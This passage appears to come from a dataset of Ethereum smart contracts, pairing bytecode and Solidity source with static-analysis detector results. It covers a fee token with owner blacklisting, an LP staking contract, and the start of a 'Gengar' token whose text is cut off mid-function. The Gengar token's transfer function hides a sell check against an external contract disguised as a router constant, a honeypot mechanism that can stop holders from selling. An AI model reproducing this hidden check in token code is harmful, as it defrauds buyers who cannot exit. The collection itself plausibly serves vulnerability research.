11cc1565b610706565b34801561037257600080fd5b50610207610381366004611cee565b610751565b34801561039257600080fd5b50610207610799565b3480156103a757600080fd5b506102c66103b6366004611cc1565b6107c6565b3480156103c757600080fd5b506102076107e8565b3480156103dc57600080fd5b506102076103eb366004611d09565b61085c565b3480156103fc57600080fd5b506102c660155481565b34801561041257600080fd5b506102c6610421366004611cc1565b60116020526000908152604090205481565b34801561043f57600080fd5b5061020761089e565b34801561045457600080fd5b506000546001600160a01b0316610297565b34801561047257600080fd5b50610207610481366004611cee565b610a83565b34801561049257600080fd5b506102c660165481565b3480156104a857600080fd5b506102076104b7366004611d09565b610ae2565b3480156104c857600080fd5b506102076104d7366004611d22565b610b11565b3480156104e857600080fd5b506102676104f7366004611c54565b610b6b565b34801561050857600080fd5b50610267610517366004611cc1565b60106020526000908152604090205460ff1681565b34801561053857600080fd5b50610207610b78565b34801561054d57600080fd5b5061020761055c366004611d54565b610bae565b34801561056d57600080fd5b506102c661057c366004611dd8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b357600080fd5b506102076105c2366004611d09565b610c4f565b3480156105d357600080fd5b506102076105e2366004611cc1565b610c7e565b6000546001600160a01b0316331461061a5760405162461bcd60e51b815260040161061190611e11565b60405180910390fd5b60005b81518110156106825760016010600084848151811061063e5761063e611e46565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067a81611e72565b91505061061d565b5050565b6000610693338484610d68565b5060015b92915050565b60006106aa848484610e8c565b6106fc84336106f785604051806060016040528060288152602001611f8c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113c8565b610d68565b5060019392505050565b6000546001600160a01b031633146107305760405162461bcd60e51b815260040161061190611e11565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161061190611e11565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107b957600080fd5b476107c381611402565b50565b6001600160a01b0381166000908152600260205260408120546106979061143c565b6000546001600160a01b031633146108125760405162461bcd60e51b815260040161061190611e11565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b815260040161061190611e11565b6611c37937e08000811161089957600080fd5b601555565b6000546001600160a01b031633146108c85760405162461bcd60e51b815260040161061190611e11565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561092857600080fd5b505afa15801561093c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109609190611e8d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a857600080fd5b505afa1580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e09190611e8d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a2857600080fd5b505af1158015610a3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a609190611e8d565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610aad5760405162461bcd60e51b815260040161061190611e11565b601454600160a01b900460ff1615610ac457600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b0c5760405162461bcd60e51b815260040161061190611e11565b601755565b6000546001600160a01b03163314610b3b5760405162461bcd60e51b815260040161061190611e11565b60095482111580610b4e5750600b548111155b610b5757600080fd5b600893909355600a91909155600955600b55565b6000610693338484610e8c565b6012546001600160a01b0316336001600160a01b031614610b9857600080fd5b6000610ba3306107c6565b90506107c3816114c0565b6000546001600160a01b03163314610bd85760405162461bcd60e51b815260040161061190611e11565b60005b82811015610c49578160056000868685818110610bfa57610bfa611e46565b9050602002016020810190610c0f9190611cc1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4181611e72565b915050610bdb565b50505050565b6000546001600160a01b03163314610c795760405162461bcd60e51b815260040161061190611e11565b601655565b6000546001600160a01b03163314610ca85760405162461bcd60e51b815260040161061190611e11565b6001600160a01b038116610d0d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610611565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610611565b6001600160a01b038216610e2b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610611565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610611565b6001600160a01b038216610f525760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610611565b60008111610fb45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610611565b6000546001600160a01b03848116911614801590610fe057506000546001600160a01b03838116911614155b156112c157601454600160a01b900460ff16611079576000546001600160a01b038481169116146110795760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610611565b6015548111156110cb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610611565b6001600160a01b03831660009081526010602052604090205460ff1615801561110d57506001600160a01b03821660009081526010602052604090205460ff16155b6111655760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610611565b6014546001600160a01b038381169116146111ea5760165481611187846107c6565b6111919190611eaa565b106111ea5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610611565b60006111f5306107c6565b60175460155491925082101590821061120e5760155491505b8080156112255750601454600160a81b900460ff16155b801561123f57506014546001600160a01b03868116911614155b80156112545750601454600160b01b900460ff165b801561127957506001600160a01b03851660009081526005602052604090205460ff16155b801561129e57506001600160a01b03841660009081526005602052604090205460ff16155b156112be576112ac826114c0565b4780156112bc576112bc47611402565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130357506001600160a01b03831660009081526005602052604090205460ff165b8061133557506014546001600160a01b0385811691161480159061133557506014546001600160a01b03848116911614155b15611342575060006113bc565b6014546001600160a01b03858116911614801561136d57506013546001600160a01b03848116911614155b1561137f57600854600c55600954600d555b6014546001600160a01b0384811691161480156113aa57506013546001600160a01b03858116911614155b156113bc57600a54600c55600b54600d555b610c4984848484611649565b600081848411156113ec5760405162461bcd60e51b81526004016106119190611bff565b5060006113f98486611ec2565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610682573d6000803e3d6000fd5b60006006548211156114a35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610611565b60006114ad611677565b90506114b9838261169a565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150857611508611e46565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561155c57600080fd5b505afa158015611570573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115949190611e8d565b816001815181106115a7576115a7611e46565b6001600160a01b0392831660209182029290920101526013546115cd9130911684610d68565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611606908590600090869030904290600401611ed9565b600060405180830381600087803b15801561162057600080fd5b505af1158015611634573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611656576116566116dc565b61166184848461170a565b80610c4957610c49600e54600c55600f54600d55565b6000806000611684611801565b9092509050611693828261169a565b9250505090565b60006114b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611841565b600c541580156116ec5750600d54155b156116f357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171c8761186f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174e90876118cc565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177d908661190e565b6001600160a01b03891660009081526002602052604090205561179f8161196d565b6117a984836119b7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ee91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061181c828261169a565b82101561183857505060065492670de0b6b3a764000092509050565b90939092509050565b600081836118625760405162461bcd60e51b81526004016106119190611bff565b5060006113f98486611f4a565b600080600080600080600080600061188c8a600c54600d546119db565b925092509250600061189c611677565b905060008060006118af8e878787611a30565b919e509c509a509598509396509194505050505091939550919395565b60006114b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c8565b60008061191b8385611eaa565b9050838110156114b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610611565b6000611977611677565b905060006119858383611a80565b306000908152600260205260409020549091506119a2908261190e565b30600090815260026020526040902055505050565b6006546119c490836118cc565b6006556007546119d4908261190e565b6007555050565b60008080806119f560646119ef8989611a80565b9061169a565b90506000611a0860646119ef8a89611a80565b90506000611a2082611a1a8b866118cc565b906118cc565b9992985090965090945050505050565b6000808080611a3f8886611a80565b90506000611a4d8887611a80565b90506000611a5b8888611a80565b90506000611a6d82611a1a86866118cc565b939b939a50919850919650505050505050565b600082611a8f57506000610697565b6000611a9b8385611f6c565b905082611aa88583611f4a565b146114b95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610611565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b8035611b3581611b15565b919050565b60006020808385031215611b4d57600080fd5b823567ffffffffffffffff80821115611b6557600080fd5b818501915085601f830112611b7957600080fd5b813581811115611b8b57611b8b611aff565b8060051b604051601f19603f83011681018181108582111715611bb057611bb0611aff565b604052918252848201925083810185019188831115611bce57600080fd5b938501935b82851015611bf357611be485611b2a565b84529385019392850192611bd3565b98975050505050505050565b600060208083528351808285015260005b81811015611c2c57858101830151858201604001528201611c10565b81811115611c3e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6757600080fd5b8235611c7281611b15565b946020939093013593505050565b600080600060608486031215611c9557600080fd5b8335611ca081611b15565b92506020840135611cb081611b15565b929592945050506040919091013590565b600060208284031215611cd357600080fd5b81356114b981611b15565b80358015158114611b3557600080fd5b600060208284031215611d0057600080fd5b6114b982611cde565b600060208284031215611d1b57600080fd5b5035919050565b60008060008060808587031215611d3857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6957600080fd5b833567ffffffffffffffff80821115611d8157600080fd5b818601915086601f830112611d9557600080fd5b813581811115611da457600080fd5b8760208260051b8501011115611db957600080fd5b602092830195509350611dcf9186019050611cde565b90509250925092565b60008060408385031215611deb57600080fd5b8235611df681611b15565b91506020830135611e0681611b15565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e8657611e86611e5c565b5060010190565b600060208284031215611e9f57600080fd5b81516114b981611b15565b60008219821115611ebd57611ebd611e5c565b500190565b600082821015611ed457611ed4611e5c565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f295784516001600160a01b031683529383019391830191600101611f04565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8657611f86611e5c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a2917965619defa7b10505ddbff8bef683743fc214a74ae846690e3c8e74728364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,173
0xac40e5ecbE40066c51D9e15361679F414D7Dec12
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface Auction { function getBid(address addr) external view returns (address a, uint256 b, uint256 c, uint256 d, uint e, uint f, uint g, bool distributed); } contract LPStaker { struct StakeState { uint128 balance; uint64 lockedUntil; uint64 reward; uint128 bonusBalance; } uint128 constant initialDepositedTokens = 1000 * 1000000; // an offset uint128 constant initialAllocatedReward = 250 * 1000000; // an offset uint128 totalDepositedTokens = initialDepositedTokens; uint128 totalAllocatedReward = initialAllocatedReward; uint128 public totalBonusDeposits = 0; function sumDepositedTokens() external view returns (uint128) { return totalDepositedTokens - initialDepositedTokens; } function sumAllocatedReward() external view returns (uint128) { return totalAllocatedReward - initialAllocatedReward; } event Deposit(address indexed from, uint128 balance, uint64 until, uint64 reward); mapping(address => StakeState) private _states; IERC20 private depositToken; IERC20 private rewardToken; Auction constant usdt_auction = Auction(0xf8E30096dD15Ce4F47310A20EdD505B42a633808); Auction constant chr_auction = Auction(0x12F41B4bb7D5e5a2148304caAfeb26d9edb7Ef4A); // note that depositedTokens must be in the same tokens as initialDepositedTokens // (i.e. 6 decimals, 1000M tokens represent 1000 HGET worth of liquidity) function calculateReward (uint128 depositedTokens) internal view returns (uint256) { // calculate amount of bought reward tokens (i.e. reward for deposit) using Bancor formula // Exact formula: boughtTokens = tokenSupply * ( (1 + x) ^ F - 1) // where F is reserve ratio // and x = depositedTokens/totalDepositedTokens // We have an approximation which is precise for 0 <= x <= 1. // So to handle values above totalDepositedTokens, we simulate // multi-step buy process. totalDepositedTokens doubles on each iteration. uint256 tDepositedTokens = totalDepositedTokens; uint256 tAllocatedReward = totalAllocatedReward; uint256 remainingDeposit = depositedTokens; uint256 totalBoughtTokens = 0; while (remainingDeposit >= tDepositedTokens) { // buy tDepositedTokens worth of tokens. in this case x = 1, thus we // have formula boughtTokens = tokenSupply * ( 2^F - 1) // 2^F - 1 = 0.741101126592248 uint256 boughtTokens = (741101126592248 * tAllocatedReward) / (1000000000000000); totalBoughtTokens += boughtTokens; tAllocatedReward += boughtTokens; remainingDeposit -= tDepositedTokens; tDepositedTokens += tDepositedTokens; } if (remainingDeposit > 0) { // third degree polynomial which approximates the exact value // obtained using Lagrange interpolation // boughtTokens = TS*(0.017042*(x/ER)^3 - 0.075513*(x/ER)^2 + 0.799572*(x/ER)) // (TS = tAllocatedReward, ER=tDepositedTokens) // coefficients are truncated to millionths // we assume that tAllocatedReward, remainingDeposit and tDepositedTokens do not exceed 80 bits, thus // we can multiply three of them within int256 without getting overflow int256 rd = int256(remainingDeposit); int256 tDepositedTokensSquared = int256(tDepositedTokens*tDepositedTokens); int256 temp1 = int256(tAllocatedReward) * rd; int256 x1 = (799572 * temp1)/int256(tDepositedTokens); int256 x2 = (75513 * temp1 * rd)/tDepositedTokensSquared; int256 x3 = (((17042 * temp1 * rd)/tDepositedTokensSquared) * rd)/int256(tDepositedTokens); int256 res = (x1 - x2 + x3)/1000000; if (res > 0) totalBoughtTokens += uint256(res); } return totalBoughtTokens; } constructor (IERC20 d_token, IERC20 r_token) public { depositToken = d_token; rewardToken = r_token; } function getStakeState(address account) external view returns (uint256, uint64, uint64) { StakeState storage ss = _states[account]; return (ss.balance, ss.lockedUntil, ss.reward); } function depositWithBonus(uint128 amount, bool is_chr) external { deposit(amount); Auction a = (is_chr) ? chr_auction : usdt_auction; (,,,,,,,bool distributed) = a.getBid(msg.sender); require(distributed, "need to win auction to get bonus"); StakeState storage ss = _states[msg.sender]; ss.bonusBalance += amount; totalBonusDeposits += amount; } function deposit(uint128 amount) public { require(block.timestamp < 1602547200, "deposits no longer accepted"); // 2020 October 13 00:00 UTC uint64 until = uint64(block.timestamp + 2 weeks); // TODO uint128 adjustedAmount = (1139 * amount) / (100000 * 1000); // represents price about $3.0 per HGET uint64 reward = uint64(calculateReward(adjustedAmount)); totalAllocatedReward += reward; require(totalAllocatedReward <= 7500 * 1000000, "reward pool exhausted"); totalDepositedTokens += adjustedAmount; StakeState storage ss = _states[msg.sender]; ss.balance += amount; ss.reward += reward; ss.lockedUntil = until; emit Deposit(msg.sender, amount, until, reward); require(depositToken.transferFrom(msg.sender, address(this), amount), "transfer unsuccessful"); } function withdraw(address to) external { StakeState storage ss = _states[msg.sender]; require(ss.lockedUntil < block.timestamp, "still locked"); require(ss.balance > 0, "must have tokens to withdraw"); uint128 balance = ss.balance; uint64 reward = ss.reward; uint128 bonusBalance = ss.bonusBalance; ss.balance = 0; ss.lockedUntil = 0; ss.reward = 0; if (bonusBalance > 0) { ss.bonusBalance = 0; reward += uint64((2500 * 1000000 * bonusBalance) / totalBonusDeposits); // TODO } require(depositToken.transfer(to, balance), "transfer unsuccessful"); require(rewardToken.transfer(to, reward), "transfer unsuccessful"); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806380a9a39f1161005b57806380a9a39f146100fe578063a3e01fe714610122578063c989b00b1461012a578063fd400370146101325761007d565b806351cff8d91461008257806354469aea146100aa5780636d837ade146100d0575b600080fd5b6100a86004803603602081101561009857600080fd5b50356001600160a01b0316610180565b005b6100a8600480360360208110156100c057600080fd5b50356001600160801b0316610455565b6100a8600480360360408110156100e657600080fd5b506001600160801b0381351690602001351515610739565b61010661089d565b604080516001600160801b039092168252519081900360200190f35b6101066108b3565b6101066108d0565b6101586004803603602081101561014857600080fd5b50356001600160a01b03166108df565b604080519384526001600160401b039283166020850152911682820152519081900360600190f35b336000908152600260205260409020805442600160801b9091046001600160401b0316106101e4576040805162461bcd60e51b815260206004820152600c60248201526b1cdd1a5b1b081b1bd8dad95960a21b604482015290519081900360640190fd5b80546001600160801b0316610240576040805162461bcd60e51b815260206004820152601c60248201527f6d757374206861766520746f6b656e7320746f20776974686472617700000000604482015290519081900360640190fd5b80546001820154600083556001600160801b0380831692600160c01b90046001600160401b0316911680156102a457600180850180546001600160801b0319169055546001600160801b0390811690639502f9008302168161029e57fe5b04820191505b6003546040805163a9059cbb60e01b81526001600160a01b0388811660048301526001600160801b03871660248301529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561030257600080fd5b505af1158015610316573d6000803e3d6000fd5b505050506040513d602081101561032c57600080fd5b5051610377576040805162461bcd60e51b81526020600482015260156024820152741d1c985b9cd9995c881d5b9cdd58d8d95cdcd99d5b605a1b604482015290519081900360640190fd5b600480546040805163a9059cbb60e01b81526001600160a01b03898116948201949094526001600160401b03861660248201529051929091169163a9059cbb916044808201926020929091908290030181600087803b1580156103d957600080fd5b505af11580156103ed573d6000803e3d6000fd5b505050506040513d602081101561040357600080fd5b505161044e576040805162461bcd60e51b81526020600482015260156024820152741d1c985b9cd9995c881d5b9cdd58d8d95cdcd99d5b605a1b604482015290519081900360640190fd5b5050505050565b635f84ee0042106104ad576040805162461bcd60e51b815260206004820152601b60248201527f6465706f73697473206e6f206c6f6e6765722061636365707465640000000000604482015290519081900360640190fd5b4262127500016305f5e10061047383026001600160801b03160460006104d28261091f565b600080546001600160801b038082166001600160401b038516600160801b938490048316018216830217928390559293506401bf08eb0091049091161115610559576040805162461bcd60e51b81526020600482015260156024820152741c995dd85c99081c1bdbdb08195e1a185d5cdd1959605a1b604482015290519081900360640190fd5b816000808282829054906101000a90046001600160801b03160192506101000a8154816001600160801b0302191690836001600160801b03160217905550600060026000336001600160a01b03166001600160a01b031681526020019081526020016000209050848160000160008282829054906101000a90046001600160801b03160192506101000a8154816001600160801b0302191690836001600160801b03160217905550818160000160188282829054906101000a90046001600160401b03160192506101000a8154816001600160401b0302191690836001600160401b03160217905550838160000160106101000a8154816001600160401b0302191690836001600160401b03160217905550336001600160a01b03167f4108b57abe974ebc23b695d19c9d0bf970e2fd0a394db0e794003742d558c13886868560405180846001600160801b03168152602001836001600160401b03168152602001826001600160401b03168152602001935050505060405180910390a2600354604080516323b872dd60e01b81523360048201523060248201526001600160801b038816604482015290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b1580156103d957600080fd5b61074282610455565b6000816107635773f8e30096dd15ce4f47310a20edd505b42a633808610779565b7312f41b4bb7d5e5a2148304caafeb26d9edb7ef4a5b90506000816001600160a01b031663c8b342ab336040518263ffffffff1660e01b815260040180826001600160a01b031681526020019150506101006040518083038186803b1580156107cb57600080fd5b505afa1580156107df573d6000803e3d6000fd5b505050506040513d6101008110156107f657600080fd5b5060e0015190508061084f576040805162461bcd60e51b815260206004820181905260248201527f6e65656420746f2077696e2061756374696f6e20746f2067657420626f6e7573604482015290519081900360640190fd5b5050336000908152600260205260409020600190810180546001600160801b03808216860181166001600160801b031992831617909255825480831690950190911693169290921790915550565b6000546001600160801b0316633b9ac9ff190190565b600054600160801b90046001600160801b0316630ee6b27f190190565b6001546001600160801b031681565b6001600160a01b03166000908152600260205260409020546001600160801b038116916001600160401b03600160801b8304811692600160c01b90041690565b600080546001600160801b0380821691600160801b90048116908416835b838210610968578380019366038d7ea4c680006602a2070d64a6f8850204938401939203910161093d565b81156109dc5781848002848202600087620c335483028161098557fe5b0590506000838584620126f902028161099a57fe5b059050600089868688876142920202816109b057fe5b0502816109b957fe5b059050620f424082840382010560008113156109d457968701965b505050505050505b9594505050505056fea2646970667358221220172e722149c80cb93cd77d802fc475043bc2c39ba8118c3083f23b3dd70410fb64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,174
0xadffc88949d0c5f64c29d1ff506c8a04f05615c5
//SPDX-License-Identifier: MIT // Telegram: t.me/gengarerc20 // Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function) // Built-in tax mechanism, can be removed by calling lowerTax function pragma solidity ^0.8.9; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=9; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="GENGAR"; string constant TOKEN_NAME="Gengar"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract BurnableToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(20); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; 